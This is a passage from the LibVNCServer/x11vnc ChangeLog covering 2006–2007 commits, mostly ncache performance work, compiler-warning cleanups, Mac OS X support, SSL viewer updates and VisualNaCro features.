4617	x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c,
4618	x11vnc/xinerama.c, x11vnc/xrandr.h: some -ncache performance
4619	improvements, rootpixmap watching, gnome wm heuristics
4620
46212007-01-09  runge <runge>
4622
4623	* x11vnc/README, x11vnc/userinput.c, x11vnc/x11vnc.1,
4624	x11vnc/x11vnc_defs.c: Fix old compiler error; fix warnings.
4625
46262007-01-09  runge <runge>
4627
4628	* x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h,
4629	x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/solid.h,
4630	x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4631	x11vnc/x11vnc_defs.c, x11vnc/xdamage.c: more speed and accuracy
4632	improvements to -ncache mode.
4633
46342007-01-07  runge <runge>
4635
4636	* x11vnc/README, x11vnc/options.c, x11vnc/userinput.c,
4637	x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.h,
4638	x11vnc/x11vnc_defs.c, x11vnc/xdamage.c: changes to ncache cache
4639	aging and xdamage skipping
4640
46412007-01-04  runge <runge>
4642
4643	* x11vnc/ChangeLog, x11vnc/README, x11vnc/userinput.c,
4644	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
4645	x11vnc/xdamage.c: x11vnc: more -ncache improvements.
4646
46472007-01-02  runge <runge>
4648
4649	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
4650	x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c,
4651	x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
4652	x11vnc/user.c, x11vnc/userinput.c, x11vnc/x11vnc.1,
4653	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
4654	x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: more -ncache
4655	improvements.
4656
46572006-12-29  runge <runge>
4658
4659	* x11vnc/8to24.c, x11vnc/README, x11vnc/cursor.c, x11vnc/options.c,
4660	x11vnc/options.h, x11vnc/pointer.c, x11vnc/screen.c,
4661	x11vnc/selection.c, x11vnc/userinput.c, x11vnc/util.c,
4662	x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4663	x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xwrappers.c: x11vnc
4664	-ncache on by default for beta test.  fix -nofb & -rawfb modes.
4665
46662006-12-28  runge <runge>
4667
4668	* x11vnc/README, x11vnc/userinput.c, x11vnc/win_utils.c: a couple
4669	more warnings...
4670
46712006-12-28  runge <runge>
4672
4673	* x11vnc/8to24.c, x11vnc/README, x11vnc/connections.c,
4674	x11vnc/cursor.c, x11vnc/gui.c, x11vnc/keyboard.c, x11vnc/macosx.c,
4675	x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCGS.c,
4676	x11vnc/misc/enhanced_tightvnc_viewer/README,
4677	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
4678	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4679	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
4680	x11vnc/nox11_funcs.h, x11vnc/pointer.c, x11vnc/remote.c,
4681	x11vnc/scan.c, x11vnc/screen.c, x11vnc/selection.c, x11vnc/solid.c,
4682	x11vnc/userinput.c, x11vnc/util.c, x11vnc/win_utils.c,
4683	x11vnc/xevents.c, x11vnc/xrandr.c, x11vnc/xrecord.c,
4684	x11vnc/xwrappers.c: still more compiler warnings; ssvnc 1.0.9 sync.
4685
46862006-12-28  runge <runge>
4687
4688	* x11vnc/8to24.c, x11vnc/README, x11vnc/cleanup.c,
4689	x11vnc/connections.c, x11vnc/cursor.c, x11vnc/macosx.c,
4690	x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h,
4691	x11vnc/macosxCGP.c, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h,
4692	x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslhelper.c,
4693	x11vnc/uinput.c, x11vnc/userinput.c, x11vnc/v4l.c,
4694	x11vnc/win_utils.c, x11vnc/xevents.c, x11vnc/xwrappers.c: more
4695	compiler warnings cleanup.
4696
46972006-12-28  runge <runge>
4698
4699	* x11vnc/8to24.c, x11vnc/README, x11vnc/connections.c,
4700	x11vnc/cursor.c, x11vnc/gui.c, x11vnc/keyboard.c, x11vnc/macosx.c,
4701	x11vnc/macosxCG.c, x11vnc/pointer.c, x11vnc/scan.c,
4702	x11vnc/screen.c, x11vnc/solid.c, x11vnc/user.c, x11vnc/userinput.c,
4703	x11vnc/userinput.h, x11vnc/win_utils.c, x11vnc/xwrappers.c,
4704	x11vnc/xwrappers.h: x11vnc: clean up compiler warnings.
4705
47062006-12-28  runge <runge>
4707
4708	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
4709	x11vnc/connections.c, x11vnc/cursor.c, x11vnc/cursor.h,
4710	x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c, x11vnc/macosx.h,
4711	x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, x11vnc/options.c,
4712	x11vnc/options.h, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c,
4713	x11vnc/scan.h, x11vnc/screen.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
4714	x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/winattr_t.h,
4715	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
4716	x11vnc/xevents.c, x11vnc/xrecord.c, x11vnc/xwrappers.c,
4717	x11vnc/xwrappers.h: x11vnc: more work on -ncache.
4718
47192006-12-17  runge <runge>
4720
4721	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
4722	x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
4723	x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/userinput.c,
4724	x11vnc/userinput.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1,
4725	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
4726	x11vnc/xevents.c, x11vnc/xinerama.c: x11vnc: first pass at
4727	client-side caching, -ncache option.
4728
47292006-12-17  runge <runge>
4730
4731	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
4732	x11vnc/options.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4733	x11vnc/x11vnc_defs.c, x11vnc/xinerama.c: x11vnc: make -xwarppointer
4734	the default if xinerama is active.
4735
47362006-12-16  runge <runge>
4737
4738	* rfb/rfbproto.h: Move our rfbEncodings numbers out of the TightVNC
4739	range.
4740
47412006-12-15  runge <runge>
4742
4743	* libvncserver/auth.c: fix typo.
4744
47452006-12-13  runge <runge>
4746
4747	* ChangeLog: Remove stray "-permitfiletransfer  permit file transfer
4748	support" output
4749
47502006-12-13  runge <runge>
4751
4752	* libvncserver/cargs.c: Remove stray ""-permitfiletransfer    permit
4753	file transfer support" output.
4754
47552006-12-11  runge <runge>
4756
4757	* x11vnc/README, x11vnc/macosxCG.c, x11vnc/macosxCGS.c,
4758	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: cleanup some
4759	comments.
4760
47612006-12-10  runge <runge>
4762
4763	* x11vnc/misc/enhanced_tightvnc_viewer/README,
4764	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd: sync etv 1.0.8
4765
47662006-12-10  runge <runge>
4767
4768	* classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
4769	x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
4770	x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/gui.c,
4771	x11vnc/help.c, x11vnc/misc/Makefile.am, x11vnc/pointer.c,
4772	x11vnc/screen.c, x11vnc/screen.h, x11vnc/solid.c,
4773	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/v4l.c,
4774	x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4775	x11vnc/x11vnc_defs.c: x11vnc: FINDCREATEDISPLAY support to create X
4776	session if one cannot be found.  Fix bug in java viewer.
4777
47782006-11-24  runge <runge>
4779
4780	* prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
4781	x11vnc/help.c, x11vnc/remote.c, x11vnc/user.c, x11vnc/x11vnc.1,
4782	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: install ss_vncviewer 755,
4783	-prog option, HTTPONCE new socket for -inetd.
4784
47852006-11-23  runge <runge>
4786
4787	* classes/ssl/Makefile.am, classes/ssl/README: rename to
4788	ss_vncviewer
4789
47902006-11-23  runge <runge>
4791
4792	* classes/ssl/ss_vncviewer, classes/ssl/ssl_vncviewer: rename
4793	ssl_vncviewer to ss_vncviewer
4794
47952006-11-23  runge <runge>
4796
4797	* classes/ssl/ss_vncviewer: rename ssl_vncviewer to ss_vncviewer
4798
47992006-11-22  runge <runge>
4800
4801	* configure.ac: use AC_CHECK_LIB for fbpm and dpms
4802
48032006-11-21  runge <runge>
4804
4805	* configure.ac: enable --without-fbpm and --without-dpms
4806
48072006-11-21  runge <runge>
4808
4809	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
4810	x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c,
4811	x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c, x11vnc/macosx.h,
4812	x11vnc/macosxCG.c, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h,
4813	x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c,
4814	x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/unixpw.c,
4815	x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/win_utils.h,
4816	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
4817	x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c,
4818	x11vnc/xwrappers.c: x11vnc: Mac OS X fb fixes and cuttext, -nodpms
4819	option, local user wireframing
4820
48212006-11-21  runge <runge>
4822
4823	* x11vnc/misc/enhanced_tightvnc_viewer/README,
4824	x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
4825	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
4826	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
4827	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
4828	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4829	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4830	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
4831	x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt,
4832	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
4833	x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README: update to
4834	1.0.8 and renaming
4835
48362006-11-21  runge <runge>
4837
4838	* x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer,
4839	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui,
4840	x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer,
4841	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
4842	l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer: 
4843	delete
4844
48452006-11-21  runge <runge>
4846
4847	* x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
4848	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
4849	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4850	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl: rename
4851
48522006-11-13  runge <runge>
4853
4854	* ChangeLog, configure.ac, prepare_x11vnc_dist.sh, x11vnc/8to24.c,
4855	x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README,
4856	x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c,
4857	x11vnc/cursor.h, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c,
4858	x11vnc/linuxfb.c, x11vnc/macosx.c, x11vnc/macosx.h,
4859	x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c,
4860	x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h,
4861	x11vnc/options.c, x11vnc/options.h, x11vnc/params.h,
4862	x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
4863	x11vnc/selection.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
4864	x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/x11vnc.1,
4865	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
4866	x11vnc/xdamage.c, x11vnc/xdamage.h, x11vnc/xevents.c,
4867	x11vnc/xinerama.c, x11vnc/xrandr.c, x11vnc/xrecord.c,
4868	x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc: Native Mac OS X
4869	support.
4870
48712006-11-08  runge <runge>
4872
4873	* x11vnc/misc/enhanced_tightvnc_viewer/README,
4874	x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/.cp
4875	over,
4876	x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc
4877	viewer.sh,
4878	x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.i386/.cpover,
4879	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer,
4880	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui,
4881	x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer,
4882	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
4883	l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer,
4884	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
4885	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: Add Darwin
4886	stuff.  Sync to current 1.0.7
4887
48882006-11-08  runge <runge>
4889
4890	* ChangeLog, classes/ssl/ssl_vncviewer, configure.ac,
4891	prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
4892	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: configure.ac -R and macosx,
4893	prepare_x11vnc_dist.sh rpm fix
4894
48952006-10-30  runge <runge>
4896
4897	* x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1,
4898	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: Add tip about how to
4899	reenable RECORD extension.
4900
49012006-10-12  dscho <dscho>
4902
4903	* VisualNaCro/nacro.c, VisualNaCro/nacro.h: VisualNaCro: add
4904	sendascii
4905
49062006-10-12  runge <runge>
4907
4908	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c,
4909	x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
4910	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
4911	x11vnc/x11vnc_defs.c: x11vnc: -cursor_drag for DnD, etc.
4912
49132006-10-11  runge <runge>
4914
4915	* libvncserver/tightvnc-filetransfer/rfbtightserver.c: N_ENC_CAPS
4916	check does not work if libz is not present.
4917
49182006-10-10  dscho <dscho>
4919
4920	* VisualNaCro/ChangeLog, VisualNaCro/recorder.pl: VisualNaCro: add
4921	'i', 'c' and 'r' menu keys
4922
49232006-10-10  dscho <dscho>
4924
4925	* VisualNaCro/ChangeLog, VisualNaCro/recorder.pl: VisualNaCro: add
4926	--compact and --compact-dragging
4927
49282006-10-07  runge <runge>
4929
4930	* classes/ssl/ssl_vncviewer, x11vnc/README,
4931	x11vnc/misc/enhanced_tightvnc_viewer/README,
4932	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
4933	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca
4934	tion.url,
4935	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
4936	l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer,
4937	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
4938	x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README,
4939	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Changes for ETV, double
4940	SSL/SSH.
4941
49422006-09-24  runge <runge>
4943
4944	* classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
4945	x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
4946	x11vnc/help.c, x11vnc/keyboard.c, x11vnc/pointer.c,
4947	x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/x11vnc.1,
4948	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: improve SSL Java
4949	viewer, cleanup -unixpw code.
4950
49512006-09-21  runge <runge>
4952
4953	*
4954	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
4955	l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer: sync
4956	etv. profile cleanup
4957
49582006-09-21  runge <runge>
4959
4960	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
4961	x11vnc/connections.h, x11vnc/help.c, x11vnc/options.c,
4962	x11vnc/options.h, x11vnc/sslhelper.c, x11vnc/unixpw.c,
4963	x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, x11vnc/x11vnc.1,
4964	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc:
4965	-unixpw_cmd, -passwfile cmd:/custom:, -sslnofail, -ultrafilexfer
4966
49672006-09-18  runge <runge>
4968
4969	* x11vnc/misc/enhanced_tightvnc_viewer/README,
4970	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
4971	l: ETV release 1.0.4
4972
49732006-09-18  runge <runge>
4974
4975	*
4976	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
4977	l, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: sync
4978	ETV 1.0.4
4979
49802006-09-18  runge <runge>
4981
4982	* libvncserver/rfbserver.c, x11vnc/README, x11vnc/x11vnc.c: x11vnc:
4983	improve ultravnc filexfer rate by calling rfbCheckFD more often
4984
49852006-09-17  runge <runge>
4986
4987	*
4988	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
4989	l: Sync ETV.
4990
49912006-09-17  runge <runge>
4992
4993	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
4994	x11vnc/cursor.c, x11vnc/help.c, x11vnc/keyboard.c,
4995	x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/scan.c,
4996	x11vnc/screen.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c,
4997	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
4998	x11vnc/xinerama.c, x11vnc/xwrappers.c: x11vnc: -verbose,
4999	-connect_or_exit, -rfbport 0, print out SSL cert.
5000
50012006-09-15  runge <runge>
5002
5003	* x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c: 
5004	small tweaks, -sig alias.
5005
50062006-09-15  runge <runge>
5007
5008	* libvncserver/rfbserver.c, x11vnc/ChangeLog, x11vnc/README,
5009	x11vnc/cleanup.c, x11vnc/help.c, x11vnc/screen.c, x11vnc/unixpw.c,
5010	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: clear DISPLAY for
5011	-unixpw su_verify, user supplied sig ignore.
5012
50132006-09-14  runge <runge>
5014
5015	* classes/ssl/ssl_vncviewer, x11vnc/ChangeLog, x11vnc/README,
5016	x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/COPYING,
5017	x11vnc/misc/enhanced_tightvnc_viewer/README,
5018	x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
5019	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/esound/downl
5020	oad.url,
5021	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/down
5022	load.url,
5023	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/loca
5024	tion.url,
5025	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/downlo
5026	ad.url,
5027	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/licenc
5028	e.url,
5029	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/down
5030	load.url,
5031	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca
5032	tion.url,
5033	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/do
5034	wnload.url,
5035	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/lo
5036	cation.url,
5037	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-client.co
5038	nf,
5039	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-server.co
5040	nf,
5041	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/w98/location.url,
5042	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer,
5043	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui,
5044	x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer,
5045	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
5046	l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer,
5047	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf,
5048	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
5049	x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt,
5050	x11vnc/misc/enhanced_tightvnc_viewer/src/README,
5051	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/README,
5052	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
5053	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches,
5054	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_vncpatchapplied,
5055	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa
5056	tch,
5057	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
5058	llscreen.patch,
5059	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne
5060	wfbsize.patch,
5061	x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README,
5062	x11vnc/remote.c, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
5063	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc:
5064	enhanced_tightvnc_viewer files, ssh -t keystroke response
5065	improvement.
5066
50672006-09-12  dscho <dscho>
5068
5069	* VisualNaCro/Makefile.am, libvncserver-config.in: fix in-place
5070	compilation of VisualNaCro
5071
50722006-09-12  dscho <dscho>
5073
5074	* VisualNaCro/recorder.pl: fix call to alert()
5075
50762006-09-12  dscho <dscho>
5077
5078	* VisualNaCro/NEWS, VisualNaCro/nacro.c, VisualNaCro/nacro.h,
5079	VisualNaCro/recorder.pl: VisualNaCro: add magic key 'd' to display
5080	the current reference image
5081
50822006-09-12  dscho <dscho>
5083
5084	* VisualNaCro/nacro.h: forgot to check in nacro.h
5085
50862006-09-12  dscho <dscho>
5087
5088	* VisualNaCro/nacro.c, VisualNaCro/recorder.pl: implement rubberband
5089	for rectangular selection
5090
50912006-09-12  dscho <dscho>
5092
5093	* VisualNaCro/Makefile.am, VisualNaCro/configure.ac: fix compilation
5094	with cygwin
5095
50962006-09-12  dscho <dscho>
5097
5098	* rfb/rfbproto.h, vncterm/LinuxVNC.c, vncterm/VNConsole.c: do not
5099	always include rfb/keysym.h
5100
51012006-09-12  dscho <dscho>
5102
5103	* AUTHORS, VisualNaCro/NEWS, VisualNaCro/nacro.c,
5104	VisualNaCro/nacro.h, VisualNaCro/recorder.pl: VisualNaCro: support
5105	clipboard and symbolic key names with X11::Keysyms
5106
51072006-09-12  dscho <dscho>
5108
5109	* VisualNaCro/nacro.c, VisualNaCro/nacro.h: support clipboard
5110
51112006-09-11  dscho <dscho>
5112
5113	* libvncclient/rfbproto.c, rfb/rfbclient.h: make cut text handling
5114	using a hook
5115
51162006-09-10  runge <runge>
5117
5118	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c,
5119	x11vnc/ssltools.h, x11vnc/uinput.c, x11vnc/x11vnc.1,
5120	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: REQ_ARGS,
5121	EV_SYN/SYN_REPORT check. restore -cursor most under -display WAIT
5122
51232006-09-05  runge <runge>
5124
5125	* classes/ssl/proxy.vnc, classes/ssl/ssl_vncviewer: Update
5126	ssl_vncviewer.  Fix bug in proxy.vnc with multiple PORT= params.
5127
51282006-08-10  runge <runge>
5129
5130	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/linuxfb.c,
5131	x11vnc/uinput.c, x11vnc/uinput.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
5132	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: first pass at
5133	touchscreens via uinput.
5134
51352006-08-02  runge <runge>
5136
5137	* x11vnc/ChangeLog: add to changelog
5138
51392006-08-02  runge <runge>
5140
5141	* classes/ssl/ssl_vncviewer, x11vnc/README, x11vnc/help.c,
5142	x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
5143	x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
5144	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc:
5145	tweaks to ssl_xfer; -ssltimeout option.
5146
51472006-07-31  runge <runge>
5148
5149	* classes/ssl/ssl_vncviewer, x11vnc/README, x11vnc/pointer.c,
5150	x11vnc/scan.c, x11vnc/scan.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: 
5151	x11vnc: more features to ssl_vncviewer for enhanced tightvnc viewer
5152	project
5153
51542006-07-29  runge <runge>
5155
5156	* classes/ssl/ssl_vncviewer: one more tweak, start from disp 30
5157
51582006-07-29  runge <runge>
5159
5160	* classes/ssl/ssl_vncviewer: add debug = 6 to stunnel config.
5161
51622006-07-28  runge <runge>
5163
5164	* classes/ssl/ssl_vncviewer, x11vnc/ChangeLog, x11vnc/README,
5165	x11vnc/cursor.c, x11vnc/help.c, x11vnc/params.h, x11vnc/pointer.c,
5166	x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
5167	x11vnc/screen.h, x11vnc/solid.c, x11vnc/sslcmds.c,
5168	x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
5169	x11vnc/unixpw.c, x11vnc/user.c, x11vnc/userinput.c,
5170	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
5171	x11vnc/x11vnc_defs.c: x11vnc: -rotate option
5172
51732006-07-18  runge <runge>
5174
5175	* ChangeLog, configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog,
5176	x11vnc/Makefile.am, x11vnc/README, x11vnc/cleanup.c,
5177	x11vnc/connections.c, x11vnc/cursor.c, x11vnc/gui.c,
5178	x11vnc/keyboard.c, x11vnc/linuxfb.c, x11vnc/nox11.h,
5179	x11vnc/nox11_funcs.h, x11vnc/pointer.c, x11vnc/remote.c,
5180	x11vnc/screen.c, x11vnc/selection.c, x11vnc/solid.c,
5181	x11vnc/sslhelper.c, x11vnc/uinput.c, x11vnc/userinput.c,
5182	x11vnc/util.c, x11vnc/v4l.c, x11vnc/win_utils.c, x11vnc/x11vnc.1,
5183	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
5184	x11vnc/xevents.c, x11vnc/xwrappers.c: x11vnc: enable --without-x
5185	builds for -rawfb only binaries.
5186
51872006-07-15  runge <runge>
5188
5189	* configure.ac, prepare_x11vnc_dist.sh, x11vnc/README,
5190	x11vnc/help.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h,
5191	x11vnc/x11vnc_defs.c: update versions for next rel.  add some more
5192	shortcuts to user:opts
5193
51942006-07-12  runge <runge>
5195
5196	* ChangeLog, configure.ac: LibVNCServer 0.8.2 release.
5197
51982006-07-12  runge <runge>
5199
5200	* x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.h,
5201	x11vnc/x11vnc_defs.c: set REL8x
5202
52032006-07-12  runge <runge>
5204
5205	* x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c,
5206	x11vnc/linuxfb.c, x11vnc/params.h, x11vnc/pointer.c,
5207	x11vnc/screen.c, x11vnc/user.c, x11vnc/x11vnc.1: x11vnc: wording
5208	changes; remove "-rawfb cons" in favor of "console"
5209
52102006-07-11  runge <runge>
5211
5212	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
